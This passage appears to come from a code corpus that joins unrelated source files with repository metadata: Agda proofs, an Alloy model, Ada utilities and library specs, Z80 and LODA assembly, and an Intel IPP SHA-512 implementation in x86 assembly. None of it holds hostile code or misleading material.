snd (suspMapπHom {A = A} n) =
makeIsGroupHom
(sElim2 (λ _ _ → isSetPathImplicit)
λ p q → cong ∣_∣₂ (suspMapΩ→hom n p q))
suspMapπ'Hom : ∀ {ℓ} {A : Pointed ℓ} (n : ℕ)
→ GroupHom (π'Gr n A) (π'Gr (suc n) (Susp∙ (typ A)))
fst (suspMapπ'Hom {A = A} n) = suspMapπ' n
snd (suspMapπ'Hom {A = A} n) =
makeIsGroupHom (sElim2 (λ _ _ → isSetPathImplicit)
λ f g → cong ∣_∣₂ (isHom-suspMap n f g))
πGr≅π'Grᵣ : ∀ {ℓ} (n : ℕ) (A : Pointed ℓ)
→ GroupIso (πGr (suc n) (Susp∙ (typ A)))
(π'Gr (suc n) (Susp∙ (typ A)))
fst (πGr≅π'Grᵣ n A) = setTruncIso (IsoΩSphereMapᵣ (suc n))
snd (πGr≅π'Grᵣ n A) =
makeIsGroupHom (sElim2 (λ _ _ → isSetPathImplicit)
λ f g → cong ∣_∣₂ (isHom-IsoΩSphereMapᵣ n f g))
private
isConnectedPres : ∀ {ℓ} {A : Pointed ℓ} (con n : ℕ)
→ isConnectedFun con (suspMapΩ∙ {A = A} (suc n) .fst)
→ isConnectedFun con (suspMap {A = A} n)
isConnectedPres {A = A} con n hyp =
transport (λ i → isConnectedFun con (Ωσ→suspMap {A = A} n i)) hyp
isConnectedSuspMap : (n m : ℕ)
→ isConnectedFun ((m + suc m) ∸ n) (suspMap {A = S₊∙ (suc m)} n)
isConnectedSuspMap n m =
isConnectedPres _ _ (suspMapΩ-connected m (suc n) (sphereConnected (suc m)))
isSurjectiveSuspMap : (n : ℕ)
→ isSurjective (suspMapπ'Hom {A = S₊∙ (2 + n)} (2 + n))
isSurjectiveSuspMap n =
sElim (λ _ → isProp→isSet squash₁)
λ f →
trRec
((subst (λ x → isOfHLevel x (isInIm (suspMapπ'Hom (2 + n)) ∣ f ∣₂))
(sym (snd (lem n n)))
(isProp→isOfHLevelSuc {A = isInIm (suspMapπ'Hom (2 + n)) ∣ f ∣₂}
(fst (lem n n)) squash₁)))
(λ p → ∣ ∣ fst p ∣₂ , (cong ∣_∣₂ (snd p)) ∣₁)
(fst (isConnectedSuspMap (2 + n) (suc n) f))
where
lem : (m n : ℕ) → Σ[ x ∈ ℕ ] ((m + suc (suc n) ∸ suc n) ≡ suc x)
lem zero zero = 0 , refl
lem (suc m) zero = suc m , +-comm m 2
lem zero (suc n) = lem zero n
lem (suc m) (suc n) = fst (lem (suc m) n) , (cong (_∸ (suc n)) (+-comm m (3 + n))
∙∙ cong (_∸ n) (+-comm (suc (suc n)) m)
∙∙ snd (lem (suc m) n))
|
alloy4fun_models/trashltl/models/5/gHsp3zTQh3xfBpaqt.als | Kaixi26/org.alloytools.alloy | 0 | 914 | <gh_stars>0
open main
pred idgHsp3zTQh3xfBpaqt_prop6 {
all f:Trash | always f in Trash
}
pred __repair { idgHsp3zTQh3xfBpaqt_prop6 }
check __repair { idgHsp3zTQh3xfBpaqt_prop6 <=> prop6o } |
gyak/gyak1-2/csomag/mat.adb | balintsoos/LearnAda | 0 | 25939 | package body Mat is
function Lnko ( A, B : Positive ) return Positive is
X: Positive := A;
Y: Positive := B;
begin
while X /= Y loop
if X > Y then
X := X - Y;
else
Y := Y - X;
end if;
end loop;
return X;
end Lnko;
function Faktorialis( N: Natural ) return Positive is
Fakt : Positive := 1;
begin
for I in 1..N loop
Fakt := Fakt * I;
end loop;
return Fakt;
end Faktorialis;
end Mat;
|
libsrc/_DEVELOPMENT/arch/sms/misc/c/sccz80/sms_scroll_wc_up_callee.asm | jpoikela/z88dk | 640 | 83300 | ; void sms_scroll_wc_up(struct r_Rect8 *r, uchar rows, uint bgnd_char)
SECTION code_clib
SECTION code_arch
PUBLIC sms_scroll_wc_up_callee
EXTERN asm_sms_scroll_wc_up
sms_scroll_wc_up_callee:
pop af
pop hl
pop de
pop ix
push af
jp asm_sms_scroll_wc_up
|
programs/oeis/111/A111282.asm | neoneye/loda | 22 | 20842 | <reponame>neoneye/loda
; A111282: Number of permutations avoiding the patterns {1432,2431,3412,3421,4132,4231,4312,4321}; number of strong sorting class based on 1432.
; 1,2,6,16,42,110,288,754,1974,5168,13530,35422,92736,242786,635622,1664080,4356618,11405774,29860704,78176338,204668310,535828592,1402817466,3672623806,9615053952,25172538050,65902560198,172535142544,451702867434,1182573459758,3096017511840,8105479075762,21220419715446,55555780070576,145446920496282,380784981418270,996908023758528,2609939089857314,6832909245813414,17888788647582928,46833456696935370,122611581443223182,321001287632734176,840392281454979346,2200175556732203862,5760134388741632240,15080227609492692858,39480548439736446334,103361417709716646144,270603704689413492098,708449696358523830150,1854745384386157998352,4855786456799950164906,12712613986013692496366,33282055501241127324192,87133552517709689476210,228118602051887941104438,597222253637954133837104,1563548158861974460406874,4093422222947969247383518,10716718509981933281743680,28056733306997830597847522,73453481411011558511798886,192303710926036844937549136,503457651367098976300848522,1318069243175260083964996430,3450750078158681275594140768,9034180991300783742817425874,23651792895743669952858136854,61921197695930226115756984688,162111800192047008394412817210,424414202880210799067481466942,1111130808448585388808031583616,2908978222465545367356613283906,7615803858948050713261808268102,19938433354378606772428811520400,52199496204187769604024626293098,136660055258184702039645067358894,357780669570366336514910575783584,936681953452914307505086659991858,2452265190788376586000349404191990,6420113618912215450495961552584112,16808075665948269765487535253560346,44004113378932593845966644208096926,115204264470849511772412397370730432,301608680033615941471270547904094370,789621775629998312641399246341552678
mov $2,2
lpb $0
sub $0,1
add $1,$2
add $2,$1
lpe
trn $1,1
add $1,1
mov $0,$1
|
sources/ippcp/asm_ia32/pcpsha512w7as.asm | dongbinghua/ipp-crypto | 233 | 358 | ;===============================================================================
; Copyright 2014-2021 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Message block processing according to SHA512
;
; Content:
; UpdateSHA512
;
;
%include "asmdefs.inc"
%include "ia_emm.inc"
%include "pcpvariant.inc"
%if (_ENABLE_ALG_SHA512_)
%if (_IPP >= _IPP_W7) && (_IPP < _IPP_G9)
;;
;; ENDIANNESS
;;
%if (_IPP >= _IPP_V8)
%macro ENDIANNESS 2.nolist
%xdefine %%xmm %1
%xdefine %%masks %2
pshufb %%xmm, %%masks
%endmacro
%else
%macro ENDIANNESS 2.nolist
%xdefine %%xmm %1
%xdefine %%tmp %2
pshuflw %%xmm,%%xmm, 00011011b
pshufhw %%xmm,%%xmm, 00011011b
movdqa %%tmp,%%xmm
psrlw %%tmp,8
psllw %%xmm,8
por %%xmm,%%tmp
%endmacro
%endif
;;
;; Rotate Right
;;
%macro PRORQ 3.nolist
%xdefine %%mm %1
%xdefine %%nbits %2
%xdefine %%tmp %3
movdqa %%tmp,%%mm
psrlq %%mm,%%nbits
psllq %%tmp,(64-%%nbits)
por %%mm,%%tmp
%endmacro
;;
;; Init and Update W:
;;
;; j = 0-15
;; W[j] = ENDIANNESS(src)
;;
;; j = 16-79
;; W[j] = SIGMA1(W[j- 2]) + W[j- 7]
;; +SIGMA0(W[j-15]) + W[j-16]
;;
;; SIGMA0(x) = ROR64(x,1) ^ROR64(x,8) ^LSR64(x,7)
;; SIGMA1(x) = ROR64(x,19)^ROR64(x,61)^LSR64(x,6)
;;
%macro SIGMA0 4.nolist
%xdefine %%sigma %1
%xdefine %%x %2
%xdefine %%t1 %3
%xdefine %%t2 %4
movdqa %%sigma, %%x
psrlq %%x, 7
movdqa %%t1,%%sigma
PRORQ %%sigma, 1, %%t2
pxor %%sigma, %%x
PRORQ %%t1,8, %%t2
pxor %%sigma, %%t1
%endmacro
%macro SIGMA1 4.nolist
%xdefine %%sigma %1
%xdefine %%x %2
%xdefine %%t1 %3
%xdefine %%t2 %4
movdqa %%sigma, %%x
psrlq %%x, 6
movdqa %%t1,%%sigma
PRORQ %%sigma, 19, %%t2
pxor %%sigma, %%x
PRORQ %%t1,61, %%t2
pxor %%sigma, %%t1
%endmacro
;;
;; SHA512 step
;;
;; Ipp64u T1 = H + SUM1(E) + CHJ(E,F,G) + K_SHA512[t] + W[t];
;; Ipp64u T2 = SUM0(A) + MAJ(A,B,C);
;; D+= T1;
;; H = T1 + T2;
;;
;; where
;; SUM1(x) = ROR64(x,14) ^ ROR64(x,18) ^ ROR64(x,41)
;; SUM0(x) = ROR64(x,28) ^ ROR64(x,34) ^ ROR64(x,39)
;;
;; CHJ(x,y,z) = (x & y) ^ (~x & z) => x&(y^z) ^z
;; MAJ(x,y,z) = (x & y) ^ (x & z) ^ (y & z) = (x&y)^((x^y)&z)
;;
;; Input:
;; A,B,C,D,E,F,G,H - 8 digest's values
;; pW - pointer to the W array
;; pK512 - pointer to the constants
;; pBuffer - temporary buffer
;; Output:
;; A,B,C,D*,E,F,G,H* - 8 digest's values (D and H updated)
;; pW - pointer to the W array
;; pK512 - pointer to the constants
;; pBuffer - temporary buffer (changed)
;;
%macro CHJ 5.nolist
%xdefine %%R %1
%xdefine %%E %2
%xdefine %%F %3
%xdefine %%G %4
%xdefine %%T %5
movdqa %%R,%%F ; R=f
pxor %%R,%%G ; R=(f^g)
pand %%R,%%E ; R=e & (f^g)
pxor %%R,%%G ; R=e & (f^g) ^g
%endmacro
%macro MAJ 5.nolist
%xdefine %%R %1
%xdefine %%A %2
%xdefine %%B %3
%xdefine %%C %4
%xdefine %%T %5
movdqa %%T,%%B ; T=b
movdqa %%R,%%A ; R=a
pxor %%T,%%A ; T=a^b
pand %%R,%%B ; R=a&b
pand %%T,%%C ; T=(a^b)&c
pxor %%R,%%T ; R=(a&b)^((a^b)&c)
%endmacro
%macro SUM0 3.nolist
%xdefine %%R %1
%xdefine %%X %2
%xdefine %%tmp %3
movdqa %%R,%%X
PRORQ %%R,28,%%tmp ; R=ROR(X,28)
PRORQ %%X,34,%%tmp ; X=ROR(X,34)
pxor %%R,%%X
PRORQ %%X,(39-34),%%tmp ; X=ROR(x,39)
pxor %%R,%%X
%endmacro
%macro SUM1 3.nolist
%xdefine %%R %1
%xdefine %%X %2
%xdefine %%tmp %3
movdqa %%R,%%X
PRORQ %%R,14,%%tmp ; R=ROR(X,14)
PRORQ %%X,18,%%tmp ; X=ROR(X,18)
pxor %%R,%%X
PRORQ %%X,(41-18),%%tmp ; X=ROR(x,41)
pxor %%R,%%X
%endmacro
%macro SHA512_STEP 11.nolist
%xdefine %%A %1
%xdefine %%B %2
%xdefine %%C %3
%xdefine %%D %4
%xdefine %%E %5
%xdefine %%F %6
%xdefine %%G %7
%xdefine %%H %8
%xdefine %%pW %9
%xdefine %%pK512 %10
%xdefine %%pBuffer %11
movdqa oword [%%pBuffer+0*sizeof(oword)],%%E ; save E
movdqa oword [%%pBuffer+1*sizeof(oword)],%%A ; save A
movdqa oword [%%pBuffer+2*sizeof(oword)],%%D ; save D
movdqa oword [%%pBuffer+3*sizeof(oword)],%%H ; save H
CHJ %%D,%%E,%%F,%%G, %%H ; t1 = h+CHJ(e,f,g)+pW[]+pK512[]
movq %%H, qword [%%pW]
paddq %%D, %%H ; +[pW]
movq %%H, qword [%%pK512]
paddq %%D, %%H ; +[pK512]
paddq %%D,oword [%%pBuffer+3*sizeof(oword)]
movdqa oword [%%pBuffer+3*sizeof(oword)],%%D ; save t1
MAJ %%H,%%A,%%B,%%C, %%D ; t2 = MAJ(a,b,c)
movdqa oword [%%pBuffer+4*sizeof(oword)],%%H ; save t2
SUM1 %%D,%%E,%%H ; D = SUM1(e)
paddq %%D,oword [%%pBuffer+3*sizeof(oword)] ; t1 = h+CHJ(e,f,g)+pW[]+pK512[] + SUM1(e)
SUM0 %%H,%%A,%%E ; H = SUM0(a)
paddq %%H,oword [%%pBuffer+4*sizeof(oword)] ; t2 = MAJ(a,b,c)+SUM0(a)
paddq %%H,%%D ; h = t1+t2
paddq %%D,oword [%%pBuffer+2*sizeof(oword)] ; d+= t1
movdqa %%E,oword [%%pBuffer+0*sizeof(oword)] ; restore E
movdqa %%A,oword [%%pBuffer+1*sizeof(oword)] ; restore A
%endmacro
segment .text align=IPP_ALIGN_FACTOR
%if (_IPP >= _IPP_V8)
align IPP_ALIGN_FACTOR
SWP_BYTE:
pByteSwp DB 7,6,5,4,3,2,1,0, 15,14,13,12,11,10,9,8
%endif
;*******************************************************************************************
;* Purpose: Update internal digest according to message block
;*
;* void UpdateSHA512(DigestSHA512 digest, const Ipp64u* mblk, int mlen, const void* pParam)
;*
;*******************************************************************************************
;;
;; Lib = W7, V8, P8
;;
;; Caller = ippsSHA512Update
;; Caller = ippsSHA512Final
;; Caller = ippsSHA512MessageDigest
;;
;; Caller = ippsSHA384Update
;; Caller = ippsSHA384Final
;; Caller = ippsSHA384MessageDigest
;;
;; Caller = ippsHMACSHA512Update
;; Caller = ippsHMACSHA512Final
;; Caller = ippsHMACSHA512MessageDigest
;;
;; Caller = ippsHMACSHA384Update
;; Caller = ippsHMACSHA384Final
;; Caller = ippsHMACSHA384MessageDigest
;;
align IPP_ALIGN_FACTOR
IPPASM UpdateSHA512,PUBLIC
USES_GPR esi,edi
%xdefine digest [esp + ARG_1 + 0*sizeof(dword)] ; digest address
%xdefine mblk [esp + ARG_1 + 1*sizeof(dword)] ; buffer address
%xdefine mlen [esp + ARG_1 + 2*sizeof(dword)] ; buffer length
%xdefine pSHA512 [esp + ARG_1 + 3*sizeof(dword)] ; address of SHA constants
%xdefine MBS_SHA512 (128) ; SHA512 block data size
%assign sSize 5 ; size of save area (oword)
%assign dSize 8 ; size of digest (oword)
%assign wSize 80 ; W values queue (qword)
%assign stackSize (sSize*sizeof(oword)+dSize*sizeof(oword)+wSize*sizeof(qword)+sizeof(dword)) ; stack size (bytes)
%assign sOffset 0 ; save area
%assign dOffset sOffset+sSize*sizeof(oword) ; digest offset
%assign wOffset dOffset+dSize*sizeof(oword) ; W values offset
%assign acualOffset wOffset+wSize*sizeof(qword) ; actual stack size offset
mov edi,digest ; digest address
mov esi,mblk ; source data address
mov eax,mlen ; source data length
mov edx, pSHA512 ; table constant address
sub esp,stackSize ; allocate local buffer (probably unaligned)
mov ecx,esp
and esp,-16 ; 16-byte aligned stack
sub ecx,esp
add ecx,stackSize ; acual stack size (bytes)
mov [esp+acualOffset],ecx
movq xmm0,qword [edi+sizeof(qword)*0] ; A = digest[0]
movq xmm1,qword [edi+sizeof(qword)*1] ; B = digest[1]
movq xmm2,qword [edi+sizeof(qword)*2] ; C = digest[2]
movq xmm3,qword [edi+sizeof(qword)*3] ; D = digest[3]
movq xmm4,qword [edi+sizeof(qword)*4] ; E = digest[4]
movq xmm5,qword [edi+sizeof(qword)*5] ; F = digest[5]
movq xmm6,qword [edi+sizeof(qword)*6] ; G = digest[6]
movq xmm7,qword [edi+sizeof(qword)*7] ; H = digest[7]
movdqa oword [esp+dOffset+sizeof(oword)*0], xmm0
movdqa oword [esp+dOffset+sizeof(oword)*1], xmm1
movdqa oword [esp+dOffset+sizeof(oword)*2], xmm2
movdqa oword [esp+dOffset+sizeof(oword)*3], xmm3
movdqa oword [esp+dOffset+sizeof(oword)*4], xmm4
movdqa oword [esp+dOffset+sizeof(oword)*5], xmm5
movdqa oword [esp+dOffset+sizeof(oword)*6], xmm6
movdqa oword [esp+dOffset+sizeof(oword)*7], xmm7
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.sha512_block_loop:
;;
;; initialize the first 16 qwords in the array W (remember about endian)
;;
%if (_IPP >= _IPP_V8)
;movdqa xmm1, oword pByteSwp ; load shuffle mask
LD_ADDR ecx, SWP_BYTE
movdqa xmm1, oword [ecx+(pByteSwp-SWP_BYTE)]
%endif
mov ecx,0
align IPP_ALIGN_FACTOR
.loop1:
movdqu xmm0, oword [esi+ecx*sizeof(qword)] ; swap input
ENDIANNESS xmm0, xmm1
movdqa oword [esp+wOffset+ecx*sizeof(qword)],xmm0
add ecx,sizeof(oword)/sizeof(qword)
cmp ecx,16
jl .loop1
;;
;; initialize another 80-16 qwords in the array W
;;
align IPP_ALIGN_FACTOR
.loop2:
movdqa xmm1,oword [esp+ecx*sizeof(qword)+wOffset- 2*sizeof(qword)] ; xmm1 = W[j-2]
SIGMA1 xmm0,xmm1,xmm2,xmm3
movdqu xmm5,oword [esp+ecx*sizeof(qword)+wOffset-15*sizeof(qword)] ; xmm5 = W[j-15]
SIGMA0 xmm4,xmm5,xmm6,xmm3
movdqu xmm7,oword [esp+ecx*sizeof(qword)+wOffset- 7*sizeof(qword)] ; W[j-7]
paddq xmm0,xmm4
paddq xmm7,oword [esp+ecx*sizeof(qword)+wOffset-16*sizeof(qword)] ; W[j-16]
paddq xmm0,xmm7
movdqa oword [esp+ecx*sizeof(qword)+wOffset],xmm0
add ecx,sizeof(oword)/sizeof(qword)
cmp ecx,80
jl .loop2
;;
;; init A,B,C,D,E,F,G,H by the internal digest
;;
movdqa xmm0,oword [esp+dOffset+sizeof(oword)*0] ; A = digest[0]
movdqa xmm1,oword [esp+dOffset+sizeof(oword)*1] ; B = digest[1]
movdqa xmm2,oword [esp+dOffset+sizeof(oword)*2] ; C = digest[2]
movdqa xmm3,oword [esp+dOffset+sizeof(oword)*3] ; D = digest[3]
movdqa xmm4,oword [esp+dOffset+sizeof(oword)*4] ; E = digest[4]
movdqa xmm5,oword [esp+dOffset+sizeof(oword)*5] ; F = digest[5]
movdqa xmm6,oword [esp+dOffset+sizeof(oword)*6] ; G = digest[6]
movdqa xmm7,oword [esp+dOffset+sizeof(oword)*7] ; H = digest[7]
;;
;; perform 0-79 steps
;;
xor ecx,ecx
align IPP_ALIGN_FACTOR
.loop3:
;; A, B, C, D, E, F, G, H W[], K[], buffer
;; --------------------------------------------------------------------------------------------------------------------------------------
SHA512_STEP xmm0,xmm1,xmm2,xmm3,xmm4,xmm5,xmm6,xmm7, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*0},{edx+ecx*sizeof(qword)+sizeof(qword)*0}, {esp}
SHA512_STEP xmm7,xmm0,xmm1,xmm2,xmm3,xmm4,xmm5,xmm6, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*1},{edx+ecx*sizeof(qword)+sizeof(qword)*1}, {esp}
SHA512_STEP xmm6,xmm7,xmm0,xmm1,xmm2,xmm3,xmm4,xmm5, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*2},{edx+ecx*sizeof(qword)+sizeof(qword)*2}, {esp}
SHA512_STEP xmm5,xmm6,xmm7,xmm0,xmm1,xmm2,xmm3,xmm4, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*3},{edx+ecx*sizeof(qword)+sizeof(qword)*3}, {esp}
SHA512_STEP xmm4,xmm5,xmm6,xmm7,xmm0,xmm1,xmm2,xmm3, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*4},{edx+ecx*sizeof(qword)+sizeof(qword)*4}, {esp}
SHA512_STEP xmm3,xmm4,xmm5,xmm6,xmm7,xmm0,xmm1,xmm2, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*5},{edx+ecx*sizeof(qword)+sizeof(qword)*5}, {esp}
SHA512_STEP xmm2,xmm3,xmm4,xmm5,xmm6,xmm7,xmm0,xmm1, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*6},{edx+ecx*sizeof(qword)+sizeof(qword)*6}, {esp}
SHA512_STEP xmm1,xmm2,xmm3,xmm4,xmm5,xmm6,xmm7,xmm0, {esp+ecx*sizeof(qword)+wOffset+sizeof(qword)*7},{edx+ecx*sizeof(qword)+sizeof(qword)*7}, {esp}
add ecx,8
cmp ecx,80
jl .loop3
;;
;; update digest
;;
paddq xmm0,oword [esp+dOffset+sizeof(oword)*0] ; A += digest[0]
paddq xmm1,oword [esp+dOffset+sizeof(oword)*1] ; B += digest[1]
paddq xmm2,oword [esp+dOffset+sizeof(oword)*2] ; C += digest[2]
paddq xmm3,oword [esp+dOffset+sizeof(oword)*3] ; D += digest[3]
paddq xmm4,oword [esp+dOffset+sizeof(oword)*4] ; E += digest[4]
paddq xmm5,oword [esp+dOffset+sizeof(oword)*5] ; F += digest[5]
paddq xmm6,oword [esp+dOffset+sizeof(oword)*6] ; G += digest[6]
paddq xmm7,oword [esp+dOffset+sizeof(oword)*7] ; H += digest[7]
movdqa oword [esp+dOffset+sizeof(oword)*0],xmm0 ; digest[0] = A
movdqa oword [esp+dOffset+sizeof(oword)*1],xmm1 ; digest[1] = B
movdqa oword [esp+dOffset+sizeof(oword)*2],xmm2 ; digest[2] = C
movdqa oword [esp+dOffset+sizeof(oword)*3],xmm3 ; digest[3] = D
movdqa oword [esp+dOffset+sizeof(oword)*4],xmm4 ; digest[4] = E
movdqa oword [esp+dOffset+sizeof(oword)*5],xmm5 ; digest[5] = F
movdqa oword [esp+dOffset+sizeof(oword)*6],xmm6 ; digest[6] = G
movdqa oword [esp+dOffset+sizeof(oword)*7],xmm7 ; digest[7] = H
add esi, MBS_SHA512
sub eax, MBS_SHA512
jg .sha512_block_loop
movq qword [edi+sizeof(qword)*0], xmm0 ; A = digest[0]
movq qword [edi+sizeof(qword)*1], xmm1 ; B = digest[1]
movq qword [edi+sizeof(qword)*2], xmm2 ; C = digest[2]
movq qword [edi+sizeof(qword)*3], xmm3 ; D = digest[3]
movq qword [edi+sizeof(qword)*4], xmm4 ; E = digest[4]
movq qword [edi+sizeof(qword)*5], xmm5 ; F = digest[5]
movq qword [edi+sizeof(qword)*6], xmm6 ; G = digest[6]
movq qword [edi+sizeof(qword)*7], xmm7 ; H = digest[7]
add esp,[esp+acualOffset]
REST_GPR
ret
ENDFUNC UpdateSHA512
%endif ;; (_IPP >= _IPP_W7) && (_IPP < _IPP_G9)
%endif ;; _ENABLE_ALG_SHA512_
|
out/Prod/Equality.agda | JoeyEremondi/agda-soas | 39 | 3315 | <reponame>JoeyEremondi/agda-soas<filename>out/Prod/Equality.agda
{-
This second-order equational theory was created from the following second-order syntax description:
syntax Prod | P
type
_⊗_ : 2-ary | l40
term
pair : α β -> α ⊗ β | ⟨_,_⟩
fst : α ⊗ β -> α
snd : α ⊗ β -> β
theory
(fβ) a : α b : β |> fst (pair(a, b)) = a
(sβ) a : α b : β |> snd (pair(a, b)) = b
(pη) p : α ⊗ β |> pair (fst(p), snd(p)) = p
-}
module Prod.Equality where
open import SOAS.Common
open import SOAS.Context
open import SOAS.Variable
open import SOAS.Families.Core
open import SOAS.Families.Build
open import SOAS.ContextMaps.Inductive
open import Prod.Signature
open import Prod.Syntax
open import SOAS.Metatheory.SecondOrder.Metasubstitution P:Syn
open import SOAS.Metatheory.SecondOrder.Equality P:Syn
private
variable
α β γ τ : PT
Γ Δ Π : Ctx
infix 1 _▹_⊢_≋ₐ_
-- Axioms of equality
data _▹_⊢_≋ₐ_ : ∀ 𝔐 Γ {α} → (𝔐 ▷ P) α Γ → (𝔐 ▷ P) α Γ → Set where
fβ : ⁅ α ⁆ ⁅ β ⁆̣ ▹ ∅ ⊢ fst ⟨ 𝔞 , 𝔟 ⟩ ≋ₐ 𝔞
sβ : ⁅ α ⁆ ⁅ β ⁆̣ ▹ ∅ ⊢ snd ⟨ 𝔞 , 𝔟 ⟩ ≋ₐ 𝔟
pη : ⁅ α ⊗ β ⁆̣ ▹ ∅ ⊢ ⟨ fst 𝔞 , snd 𝔞 ⟩ ≋ₐ 𝔞
open EqLogic _▹_⊢_≋ₐ_
open ≋-Reasoning
|
lined-line_numbers.adb | jrcarter/Lined | 0 | 26848 | <reponame>jrcarter/Lined
with Ada.Strings.Fixed;
with Ada.Strings.Maps;
with Lined.Buffer;
with Lined.Searching;
package body Lined.Line_Numbers with SPARK_Mode, Refined_State => (State => (Num_Found, Line1, Line2) ) is
Num_Found : Number_Count := 0;
Line1 : Natural := 0; -- Start of range if multiple line numbers are given
Line2 : Natural := 0; -- End of range if multiple line numbers are given; line to operate on if a single number is given
procedure Get_Line_Number (Source : in String; Current : in Natural; Last : out Natural; Value : out Natural) is
pragma SPARK_Mode (Off);
subtype Digit is Character range '0' .. '9';
Forward : constant Character := '/';
Digit_Set : constant Ada.Strings.Maps.Character_Set :=
Ada.Strings.Maps.To_Set (Span => (Low => Digit'First, High => Digit'Last) );
procedure Get_Number (Source : in String; Last : out Natural; Value : out Natural) with Pre => Source'Length > 0;
-- Gets a Component from Source
-- Last is set to the index of the last Character in the component
-- Last < Source'First if Source doesn't begin with a component
procedure Get_Number (Source : in String; Last : out Natural; Value : out Natural) is
Final : Natural;
begin -- Get_Number
case Source (Source'First) is
when '.' =>
Value := Current;
Last := Source'First;
when '$' =>
Value := Buffer.Last;
Last := Source'First;
when Forward | '\' =>
Final := Searching.Terminator (Source (Source'First + 1 .. Source'Last), Source (Source'First) );
Last := Final;
if Final > Source'First + 1 then -- New pattern
Searching.Process (Pattern => Source (Source'First + 1 .. Final - 1) );
end if;
Value := Searching.Search (Current => Current, Forward => Source (Source'First) = Forward);
when Digit =>
Final := Ada.Strings.Fixed.Index (Source, Digit_Set, Source'First + 1, Ada.Strings.Outside);
if Final = 0 then
Final := Source'Last;
else
Final := Final - 1;
end if;
Value := Integer'Value (Source (Source'First .. Final) );
Last := Final;
when others =>
Value := 0;
Last := Source'First - 1;
end case;
end Get_Number;
Plus : constant Character := '+';
Index : Natural := Ada.Strings.Fixed.Index_Non_Blank (Source);
Final : Natural;
Comp : Natural;
Sign : Integer;
begin -- Get_Line_Number
Last := 0;
Get_Number (Source => Source (Index .. Source'Last), Last => Final, Value => Value);
if Final < Index then -- Not a component
return;
end if;
All_Components : loop -- Any additional components separated by +/-
Index := Ada.Strings.Fixed.Index_Non_Blank (Source (Final + 1 .. Source'Last) );
exit All_Components when Index not in Source'Range or else Source (Index) not in Plus | '-'; -- No more components
if Source (Index) = Plus then
Sign := +1;
else
Sign := -1;
end if;
Index := Ada.Strings.Fixed.Index_Non_Blank (Source (Index + 1 .. Source'Last) );
if Index not in Source'Range then
raise Invalid_Input; -- +/- not followed by anything
end if;
Get_Number (Source => Source (Index .. Source'Last), Last => Final, Value => Comp);
if Final < Index then
raise Invalid_Input; -- +/- followed by non-component
end if;
Value := Value + Sign * Comp;
end loop All_Components;
if Value > Buffer.Last then
raise Invalid_Input;
end if;
Last := (if Index = 0 then Source'Last else Index - 1);
exception -- Get_Line_Number
when others => -- Typically a range check failed
raise Invalid_Input;
end Get_Line_Number;
procedure Parse (Command : in String; Current : in out Natural; Last : out Natural) is
Semicolon : constant Character := ';';
Index : Natural := Command'First;
Final : Natural;
begin -- Parse
Num_Found := 0;
Line1 := 0;
Line2 := 0;
All_Numbers : loop
exit All_Numbers when Index not in Command'Range;
Line1 := Line2;
Get_Line_Number (Source => Command (Index .. Command'Last), Current => Current, Last => Final, Value => Line2);
exit All_Numbers when Final < Index;
pragma Assert (Final <= Command'Last);
Num_Found := Integer'Min (Num_Found + 1, Number_Count'Last);
Index := Ada.Strings.Fixed.Index_Non_Blank (Command (Final + 1 .. Command'Last) );
exit All_Numbers when Index not in Command'Range or else Command (Index) not in ',' | Semicolon;
if Command (Index) = Semicolon then
Current := Line2;
end if;
Index := Index + 1;
end loop All_Numbers;
if Num_Found = 0 then
Line2 := Current;
end if;
Last := (if Index = 0 then Command'Last else Index - 1);
if Num_Found < 2 then
Line1 := Line2;
end if;
end Parse;
function Num_Numbers return Number_Count is (Num_Found);
function Start return Natural is (Line1);
function Stop return Natural is (Line2);
end Lined.Line_Numbers;
|
ada-strings-wide_bounded.ads | mgrojo/adalib | 15 | 24173 | <filename>ada-strings-wide_bounded.ads
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
with Ada.Strings.Wide_Maps;
package Ada.Strings.Wide_Bounded is
pragma Preelaborate (Wide_Bounded);
generic
Max : Positive; -- Maximum length of a Bounded_Wide_String
package Generic_Bounded_Length is
Max_Length : constant Positive := Max;
type Bounded_Wide_String is private;
Null_Bounded_Wide_String : constant Bounded_Wide_String;
subtype Length_Range is Natural range 0 .. Max_Length;
function Length (Source : in Bounded_Wide_String) return Length_Range;
-- Conversion, Concatenation, and Selection functions
function To_Bounded_Wide_String (Source : in Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function To_Wide_String (Source : in Bounded_Wide_String)
return Wide_String;
procedure Set_Bounded_Wide_String
(Target : out Bounded_Wide_String;
Source : in Wide_String;
Drop : in Truncation := Error);
function Append (Left, Right : in Bounded_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function Append (Left : in Bounded_Wide_String;
Right : in Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function Append (Left : in Wide_String;
Right : in Bounded_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function Append (Left : in Bounded_Wide_String;
Right : in Wide_Character;
Drop : in Truncation := Error)
return Bounded_Wide_String;
function Append (Left : in Wide_Character;
Right : in Bounded_Wide_String;
Drop : in Truncation := Error)
return Bounded_Wide_String;
procedure Append (Source : in out Bounded_Wide_String;
